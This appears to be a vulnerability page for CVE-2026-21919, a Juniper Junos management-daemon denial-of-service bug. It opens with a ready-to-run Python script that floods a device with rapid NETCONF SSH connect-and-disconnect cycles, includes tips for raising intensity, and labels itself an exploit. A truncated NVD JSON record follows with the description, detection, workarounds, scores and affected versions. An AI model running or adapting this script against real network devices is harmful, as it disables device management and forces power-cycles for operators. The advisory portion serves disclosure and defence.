CVE-2026-21919

import paramiko import time # Configuration TARGET_IP = "192.168.1.1" TARGET_PORT = 830 USERNAME = "lowpriv_user" PASSWORD = "password" COUNT = 1000 def exploit(): print(f"[*] Starting attack against {TARGET_IP}...") for i in range(COUNT): try: # Create a new SSH client for each session ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Establish NETCONF connection (SSH) ssh.connect(TARGET_IP, port=TARGET_PORT, username=USERNAME, password=PASSWORD, timeout=5) # Immediately close the connection to trigger the race condition ssh.close() print(f"[+] Sent/disconnected session {i+1}/{COUNT}") except Exception as e: print(f"[-] Error on session {i+1}: {e}") # Small delay to simulate rapid but distinct connections # Remove or reduce this delay to increase intensity time.sleep(0.01) print("[*] Attack finished.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-21919", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:25.173", "lastModified": "2026-04-17T18:04:47.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Synchronization vulnerability in the management daemon (mgd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-based attacker with low privileges to cause a complete Denial-of-Service (DoS) of the management plane.\n\nWhen NETCONF sessions are quickly established and disconnected, a locking issue causes mgd processes to hang in an unusable state. When the maximum number of mgd processes has been reached, no new logins are possible. This leads to the inability to manage the device and requires a power-cycle to recover.\n\nThis issue can be monitored by checking for mgd processes in lockf state in the output of 'show system processes extensive':\n\nuser@host> show system processes extensive | match mgd\n<pid> root       20   0 501M 4640K lockf   1 0:01 0.00% mgd\n\n\nIf the system still can be accessed (either via the CLI or as root, which might still be possible as last resort as this won't invoke mgd), mgd processes in this state can be killed with 'request system process terminate <PID>' from the CLI or with 'kill -9 <PID>' from the shell. \n\n\n\n\nThis issue affects:\n\nJunos OS:\n\n * 23.4 versions before 23.4R2-S4,\n * 24.2 versions before 24.2R2-S1,\n * 24.4 versions before 24.4R1-S3, 24.4R2;\n\n\n\n\nThis issue does not affect Junos OS versions before 23.4R1;\n\n\n\nJunos OS Evolved:\n\n * 23.4 versions before 23.4R2-S5-EVO,\n * 24.2 versions before 24.2R2-S1-EVO,\n * 24.4 versions before 24.4R1-S3-EVO, 24.4R2-EVO.\n\n\n\n\n\n\nThis issue does not affect Junos OS Evolved versions before 23.4R1-EVO;"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-821"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:-:*:*:*:*:*:*", "matchCriteriaId": "78481ABC-3620-410D-BC78-334657E0BB75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r1:*:*:*:*:*:*", "matchCriteriaId": "BE8A5BA3-87BD-473A-B229-2AAB2C797005"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "8B74AC3E-8FC9-400A-A176-4F7F21F10756"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "CB2D1FCE-8019-4CE1-BA45-D62F91AF7B51"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2:*:*:*:*:*:*", "matchCriteriaId": "175CCB13-76C0-44A4-A71D-41E22B92EB23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "166BFDB3-1945-4949-BC2B-E18442FF2E4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "5923610F- ... (truncated)